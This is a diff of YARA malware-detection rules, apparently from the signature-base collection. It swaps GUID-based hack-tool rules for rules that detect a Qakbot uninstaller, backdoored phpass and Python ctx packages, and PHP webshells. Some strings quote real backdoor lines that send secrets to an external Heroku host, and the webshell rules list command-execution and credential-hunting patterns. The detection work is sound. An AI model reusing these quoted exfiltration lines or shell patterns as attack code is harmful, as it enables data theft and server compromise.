-		$typelibguid0lo = "fe4414d9-1d7e-4eeb-b781-d278fe7a5619" ascii wide
-		$typelibguid0up = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii wide
+		$xc1 = { E8 00 00 00 00 58 55 89 E5 89 C2 68 03 00 00 00 68 00 2C 00 00 05 20 0A 00 00 50 E8 05 00 00 00 83 C4 04 C9 C3 81 EC 08 01 00 00 53 55 56 57 6A 6B 58 6A 65 5B 6A 72 66 89 84 24 D4 00 00 00 33 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		$xc1
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Deviceguardbypasses : FILE
+rule SIGNATURE_BASE_SUSP_Qakbot_Uninstaller_FBI_Aug23
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3790faac-b5be-5999-b35f-71a2ef02b6ed"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/tyranid/DeviceGuardBypasses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2015-L2039"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9fcec2e6641e961f2007dd1de1822fd0e0bcf9614fdd9e1110ac4fd40a89fd8"
-		score = 75
+		description = "Detects Qakbot uninstaller used by the FBI / Dutch Police"
+		author = "Florian Roth"
+		id = "499bff56-ff49-53df-9922-227b816c0a36"
+		date = "2023-08-31"
+		modified = "2023-12-05"
+		reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_qakbot_uninstaller.yar#L16-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0ce963190502709edec9434e6a64cb9db7c5553113b686afc56a516350d76baa"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		hash1 = "559cae635f0d870652b9482ef436b31d4bb1a5a0f51750836f328d749291d0b6"
+		hash2 = "855eb5481f77dde5ad8fa6e9d953d4aebc280dddf9461144b16ed62817cc5071"
+		hash3 = "fab408536aa37c4abc8be97ab9c1f86cb33b63923d423fdc2859eb9d63fa8ea0"
 
 	strings:
-		$typelibguid0lo = "f318466d-d310-49ad-a967-67efbba29898" ascii wide
-		$typelibguid0up = "F318466D-D310-49AD-A967-67EFBBA29898" ascii wide
-		$typelibguid1lo = "3705800f-1424-465b-937d-586e3a622a4f" ascii wide
-		$typelibguid1up = "3705800F-1424-465B-937D-586E3A622A4F" ascii wide
-		$typelibguid2lo = "256607c2-4126-4272-a2fa-a1ffc0a734f0" ascii wide
-		$typelibguid2up = "256607C2-4126-4272-A2FA-A1FFC0A734F0" ascii wide
-		$typelibguid3lo = "4e6ceea1-f266-401c-b832-f91432d46f42" ascii wide
-		$typelibguid3up = "4E6CEEA1-F266-401C-B832-F91432D46F42" ascii wide
-		$typelibguid4lo = "1e6e9b03-dd5f-4047-b386-af7a7904f884" ascii wide
-		$typelibguid4up = "1E6E9B03-DD5F-4047-B386-AF7A7904F884" ascii wide
-		$typelibguid5lo = "d85e3601-0421-4efa-a479-f3370c0498fd" ascii wide
-		$typelibguid5up = "D85E3601-0421-4EFA-A479-F3370C0498FD" ascii wide
+		$op1 = { 69 c1 65 89 07 6c 03 c2 89 84 95 24 f6 ff ff 8b 55 e4 42 89 55 e4 81 fa 70 02 00 00 7c d4 }
+		$op2 = { 42 89 55 e4 81 fa 70 02 00 00 7c d4 f2 0f 10 0d a0 31 00 10 33 f6 f2 0f 10 15 a8 31 00 10 66 90 }
+		$op5 = { 68 48 31 00 10 6a 28 57 e8 e4 fd ff ff 8b 4d fc 83 c4 4c 33 cd 33 c0 }
+		$op6 = { 33 c0 66 39 06 74 0f 0f 1f 80 00 00 00 00 40 66 83 3c 46 00 75 f8 8d 3c 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_AMSI_Handler : FILE
+rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Phpass_May21 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "40768acf-fa9e-531a-83fd-187814ddc2d4"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/two06/AMSI_Handler"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2041-L2061"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cebfce69d60ca00e3d824bb75b36efc0c53b695c502a39601dee1e418af52766"
+		description = "Detects backdoored PHP phpass version"
+		author = "Christian Burkard"
+		id = "da13924c-0448-589c-bb2a-ee09736a5602"
+		date = "2022-05-24"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_backdoor_antitheftweb.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d9669dadc698c6fa63d61857f9ada16a9303aa8bf4139bec75104f2e9f00a36a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "d829426c-986c-40a4-8ee2-58d14e090ef2" ascii wide
-		$typelibguid0up = "D829426C-986C-40A4-8EE2-58D14E090EF2" ascii wide
-		$typelibguid1lo = "86652418-5605-43fd-98b5-859828b072be" ascii wide
-		$typelibguid1up = "86652418-5605-43FD-98B5-859828B072BE" ascii wide
-		$typelibguid2lo = "1043649f-18e1-41c4-ae8d-ac4d9a86c2fc" ascii wide
-		$typelibguid2up = "1043649F-18E1-41C4-AE8D-AC4D9A86C2FC" ascii wide
-		$typelibguid3lo = "1d920b03-c537-4659-9a8c-09fb1d615e98" ascii wide
-		$typelibguid3up = "1D920B03-C537-4659-9A8C-09FB1D615E98" ascii wide
+		$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <30KB and $x1
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_RAT_Telegramspybot : FILE
+rule SIGNATURE_BASE_VULN_Python_Hack_Backdoored_Ctx_May21 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "57d22201-a051-5040-927c-30da3fc684fd"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SebastianEPH/RAT.TelegramSpyBot"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2063-L2077"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed661d6513df3a3e8558912f96f86bff55214f9ba6426085af8458a5c9c62d1f"
+		description = "Detects backdoored python ctx version"
+		author = "Christian Burkard"
+		id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"
+		date = "2022-05-24"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_backdoor_antitheftweb.yar#L16-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f8047eb4e0420e4ec01fb038acdc4abdcc3aa4dada5ce072d20f78acac942079"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
+		hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
+		hash3 = "b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
 
 	strings:
-		$typelibguid0lo = "8653fa88-9655-440e-b534-26c3c760a0d3" ascii wide
-		$typelibguid0up = "8653FA88-9655-440E-B534-26C3C760A0D3" ascii wide
+		$x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and $x1
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Thehacktoolboxteek : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Generic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ad8cf2c8-f70e-5f46-92fa-46e1fa5e683c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/teeknofil/TheHackToolBoxTeek"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2079-L2105"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "08ffcdc2d2f7ae3325208dc4980b8f44505fc1fcf40a7a926ac5a0c97977a1d3"
+		id = "294ce5d5-55b2-5c79-b0f8-b66f949efbb2"
+		date = "2021-01-14"
+		modified = "2023-09-18"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L83-L410"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bee1b76b1455105d4bfe2f45191071cf05e83a309ae9defcf759248ca9bceddd"
+		hash = "6bf351900a408120bee3fc6ea39905c6a35fe6efcf35d0a783ee92062e63a854"
+		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
+		hash = "00813155bf7f5eb441e1619616a5f6b21ae31afc99caa000c4aafd54b46c3597"
+		hash = "e31788042d9cdeffcb279533b5a7359b3beb1144f39bacdd3acdef6e9b4aff25"
+		hash = "36b91575a08cf40d4782e5aebcec2894144f1e236a102edda2416bc75cbac8dd"
+		hash = "a34154af7c0d7157285cfa498734cfb77662edadb1a10892eb7f7e2fb5e2486c"
+		hash = "791a882af2cea0aa8b8379791b401bebc235296858266ddb7f881c8923b7ea61"
+		hash = "9a8ab3c225076a26309230d7eac7681f85b271d2db22bf5a190adbf66faca2e6"
+		hash = "0d3ee83adc9ebf8fb1a8c449eed5547ee5e67e9a416cce25592e80963198ae23"
+		hash = "3d8708609562a27634df5094713154d8ca784dbe89738e63951e12184ff07ad6"
+		hash = "70d64d987f0d9ab46514abcc868505d95dbf458387f858b0d7580e4ee8573786"
+		hash = "259b3828694b4d256764d7d01b0f0f36ca0526d5ee75e134c6a754d2ab0d1caa"
+		hash = "04d139b48d59fa2ef24fb9347b74fa317cb05bd8b7389aeb0a4d458c49ea7540"
+		hash = "58d0e2ff61301fe0c176b51430850239d3278c7caf56310d202e0cdbdde9ac3f"
+		hash = "731f36a08b0e63c63b3a2a457667dfc34aa7ff3a2aee24e60a8d16b83ad44ce2"
+		hash = "e4ffd4ec67762fe00bb8bd9fbff78cffefdb96c16fe7551b5505d319a90fa18f"
+		hash = "fa00ee25bfb3908808a7c6e8b2423c681d7c52de2deb30cbaea2ee09a635b7d4"
+		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
+		hash = "e9423ad8e51895db0e8422750c61ef4897b3be4292b36dba67d42de99e714bff"
+		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
+		hash = "3de8c04bfdb24185a07f198464fcdd56bb643e1d08199a26acee51435ff0a99f"
+		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
+		hash = "a09dcf52da767815f29f66cb7b03f3d8c102da5cf7b69567928961c389eac11f"
+		hash = "d9ae762b011216e520ebe4b7abcac615c61318a8195601526cfa11bbc719a8f1"
+		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+		logic_hash = "7180250e8a6dd8c14f193fe007b7fd17dc215b470065eb71e7e987699605bc4f"
 		score = 75
-		quality = 85
+		quality = -259
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "2aa8c254-b3b3-469c-b0c9-dcbe1dd101c0" ascii wide
-		$typelibguid0up = "2AA8C254-B3B3-469C-B0C9-DCBE1DD101C0" ascii wide
-		$typelibguid1lo = "afeff505-14c1-4ecf-b714-abac4fbd48e7" ascii wide
-		$typelibguid1up = "AFEFF505-14C1-4ECF-B714-ABAC4FBD48E7" ascii wide
-		$typelibguid2lo = "4cf42167-a5cf-4b2d-85b4-8e764c08d6b3" ascii wide
-		$typelibguid2up = "4CF42167-A5CF-4B2D-85B4-8E764C08D6B3" ascii wide
-		$typelibguid3lo = "118a90b7-598a-4cfc-859e-8013c8b9339c" ascii wide
-		$typelibguid3up = "118A90B7-598A-4CFC-859E-8013C8B9339C" ascii wide
-		$typelibguid4lo = "3075dd9a-4283-4d38-a25e-9f9845e5adcb" ascii wide
-		$typelibguid4up = "3075DD9A-4283-4D38-A25E-9F9845E5ADCB" ascii wide
-		$typelibguid5lo = "295655e8-2348-4700-9ebc-aa57df54887e" ascii wide
-		$typelibguid5up = "295655E8-2348-4700-9EBC-AA57DF54887E" ascii wide
-		$typelibguid6lo = "74efe601-9a93-46c3-932e-b80ab6570e42" ascii wide
-		$typelibguid6up = "74EFE601-9A93-46C3-932E-B80AB6570E42" ascii wide
+		$wfp_tiny1 = "escapeshellarg" fullword
+		$wfp_tiny2 = "addslashes" fullword
+		$gfp_tiny3 = "include \"./common.php\";"
+		$gfp_tiny4 = "assert('FALSE');"
+		$gfp_tiny5 = "assert(false);"
+		$gfp_tiny6 = "assert(FALSE);"
+		$gfp_tiny7 = "assert('array_key_exists("
+		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
+		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
+		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$inp1 = "php://input" wide ascii
+		$inp2 = /_GET\s?\[/ wide ascii
+		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+		$inp4 = /_POST\s?\[/ wide ascii
+		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+		$inp6 = /_REQUEST\s?\[/ wide ascii
+		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+		$inp8 = /\(\s?\$_HEADERS\s?[\)\[]/ wide ascii
+		$inp15 = "_SERVER['HTTP_" wide ascii
+		$inp16 = "_SERVER[\"HTTP_" wide ascii
+		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+		$inp18 = "array_values($_SERVER)" wide ascii
+		$inp19 = /file_get_contents\("https?:\/\// wide ascii
+		$inp20 = "TSOP_" wide ascii
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.{0,500}|e'" nocase wide ascii
+		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
+		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
+		$gen_bit_sus6 = "self.delete"
+		$gen_bit_sus9 = "\"cmd /c" nocase
+		$gen_bit_sus10 = "\"cmd\"" nocase
+		$gen_bit_sus11 = "\"cmd.exe" nocase
+		$gen_bit_sus12 = "%comspec%" wide ascii
+		$gen_bit_sus13 = "%COMSPEC%" wide ascii
+		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+		$gen_bit_sus21 = "\"upload\"" wide ascii
+		$gen_bit_sus22 = "\"Upload\"" wide ascii
+		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
+		$gen_bit_sus24 = "fileupload" wide ascii
+		$gen_bit_sus25 = "file_upload" wide ascii
+		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+		$gen_bit_sus30 = "serv-u" wide ascii
+		$gen_bit_sus31 = "Serv-u" wide ascii
+		$gen_bit_sus32 = "Army" fullword wide ascii
+		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+		$gen_bit_sus35 = "crack" fullword wide ascii
+		$gen_bit_sus44 = "<pre>" wide ascii
+		$gen_bit_sus45 = "<PRE>" wide ascii
+		$gen_bit_sus46 = "shell_" wide ascii
+		$gen_bit_sus50 = "bypass" wide ascii
+		$gen_bit_sus52 = " ^ $" wide ascii
+		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
+		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+		$gen_bit_sus57 = "dumper" wide ascii
+		$gen_bit_sus59 = "'cmd'" wide ascii
+		$gen_bit_sus60 = "\"execute\"" wide ascii
+		$gen_bit_sus61 = "/bin/sh" wide ascii
+		$gen_bit_sus62 = "Cyber" wide ascii
+		$gen_bit_sus63 = "portscan" fullword wide ascii
+		$gen_bit_sus66 = "whoami" fullword wide ascii
+		$gen_bit_sus67 = "$password='" fullword wide ascii
+		$gen_bit_sus68 = "$password=\"" fullword wide ascii
+		$gen_bit_sus69 = "$cmd" fullword wide ascii
+		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
+		$gen_bit_sus71 = "Hacking" fullword wide ascii
+		$gen_bit_sus72 = "hacking" fullword wide ascii
+		$gen_bit_sus73 = ".htpasswd" wide ascii
+		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+		$gen_bit_sus75 = "uploaded" fullword wide ascii
+		$gen_much_sus7 = "Web Shell" nocase
+		$gen_much_sus8 = "WebShell" nocase
+		$gen_much_sus3 = "hidded shell"
+		$gen_much_sus4 = "WScript.Shell.1" nocase
+		$gen_much_sus5 = "AspExec"
+		$gen_much_sus14 = "\\pcAnywhere\\" nocase
+		$gen_much_sus15 = "antivirus" nocase
+		$gen_much_sus16 = "McAfee" nocase
+		$gen_much_sus17 = "nishang"
+		$gen_much_sus18 = "\"unsafe" fullword wide ascii
+		$gen_much_sus19 = "'unsafe" fullword wide ascii
+		$gen_much_sus24 = "exploit" fullword wide ascii
+		$gen_much_sus25 = "Exploit" fullword wide ascii
+		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
+		$gen_much_sus30 = "Hacker" wide ascii
+		$gen_much_sus31 = "HACKED" fullword wide ascii
+		$gen_much_sus32 = "hacked" fullword wide ascii
+		$gen_much_sus33 = "hacker" wide ascii
+		$gen_much_sus34 = "grayhat" nocase wide ascii
+		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
+		$gen_much_sus36 = "Rootkit" wide ascii
+		$gen_much_sus37 = "rootkit" wide ascii
+		$gen_much_sus38 = "/*-/*-*/" wide ascii
+		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+		$gen_much_sus40 = "\"e\"+\"v" wide ascii
+		$gen_much_sus41 = "a\"+\"l\"" wide ascii
+		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+		$gen_much_sus43 = "q\"+\"u\"" wide ascii
+		$gen_much_sus44 = "\"u\"+\"e" wide ascii
+		$gen_much_sus45 = "/*//*/" wide ascii
+		$gen_much_sus46 = "(\"/*/\"" wide ascii
+		$gen_much_sus47 = "eval(eval(" wide ascii
+		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
+		$gen_much_sus49 = "Shell.Users" wide ascii
+		$gen_much_sus50 = "PasswordType=Regular" wide ascii
+		$gen_much_sus51 = "-Expire=0" wide ascii
+		$gen_much_sus60 = "_=$$_" wide ascii
+		$gen_much_sus61 = "_=$$_" wide ascii
+		$gen_much_sus62 = "++;$" wide ascii
+		$gen_much_sus63 = "++; $" wide ascii
+		$gen_much_sus64 = "_.=$_" wide ascii
+		$gen_much_sus70 = "-perm -04000" wide ascii
+		$gen_much_sus71 = "-perm -02000" wide ascii
+		$gen_much_sus72 = "grep -li password" wide ascii
+		$gen_much_sus73 = "-name config.inc.php" wide ascii
+		$gen_much_sus75 = "password crack" wide ascii
+		$gen_much_sus76 = "mysqlDll.dll" wide ascii
+		$gen_much_sus77 = "net user" wide ascii
+		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+		$gen_much_sus81 = /strrev\(['"]/ wide ascii
+		$gen_much_sus82 = "PHPShell" fullword wide ascii
+		$gen_much_sus821 = "PHP Shell" fullword wide ascii
+		$gen_much_sus83 = "phpshell" fullword wide ascii
+		$gen_much_sus84 = "PHPshell" fullword wide ascii
+		$gen_much_sus87 = "deface" wide ascii
+		$gen_much_sus88 = "Deface" wide ascii
+		$gen_much_sus89 = "backdoor" wide ascii
+		$gen_much_sus90 = "r00t" fullword wide ascii
+		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+		$gen_much_sus92 = "str_rot13" fullword wide ascii
+		$gif = { 47 49 46 38 }
+		$cmpayload1 = /\beval[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload2 = /\bexec[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload3 = /\bshell_exec[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload4 = /\bpassthru[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload5 = /\bsystem[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload6 = /\bpopen[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload7 = /\bproc_open[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload8 = /\bpcntl_exec[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload9 = /\bassert[\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cmpayload10 = /\bpreg_replace[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
+		$cmpayload11 = /\bpreg_filter[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
+		$cmpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cmpayload20 = /\bcreate_function[\t ]{0,500}\([^)]/ nocase wide ascii
+		$cmpayload21 = /\bReflectionFunction[\t ]{0,500}\([^)]/ nocase wide ascii
+		$fp1 = "# Some examples from obfuscated malware:" ascii
+		$fp2 = "{@see TFileUpload} for further details." ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		not ( any of ($gfp_tiny*) or 1 of ($fp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($inp*)) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and (( filesize <1000 and not any of ($wfp_tiny*)) or (($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))) and ( filesize >5KB or not any of ($wfp_tiny*))) or ( filesize <500KB and (4 of ($cmpayload*))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Usbtrojan : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Callback : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "php webshell having some kind of input and using a callback to execute the payload. restricted to small files or would give lots of false positives"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d25c9033-13e8-5fc9-8561-f8862cca39b8"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/mashed-potatoes/USBTrojan"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2107-L2121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8435a9f9fdf1e29010db3f3c1f55c19d616761b0585a232686ed377a6a252297"
-		score = 75
-		quality = 85
+		id = "e33dba84-bbeb-5955-a81b-2d2c8637fb48"
+		date = "2021-01-14"
+		modified = "2023-09-18"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L412-L717"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e98889690101b59260e871c49263314526f2093f"
+		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
+		hash = "81388c8cc99353cdb42572bb88df7d3bd70eefc748c2fa4224b6074aa8d7e6a2"
+		hash = "27d3bfabc283d851b0785199da8b1b0384afcb996fa9217687274dd56a7b5f49"
+		hash = "ee256d7cc3ceb2bf3a1934d553cdd36e3fbde62a02b20a1b748a74e85d4dbd33"
+		hash = "4adc6c5373c4db7b8ed1e7e6df10a3b2ce5e128818bb4162d502056677c6f54a"
+		hash = "1fe4c60ea3f32819a98b1725581ac912d0f90d497e63ad81ccf258aeec59fee3"
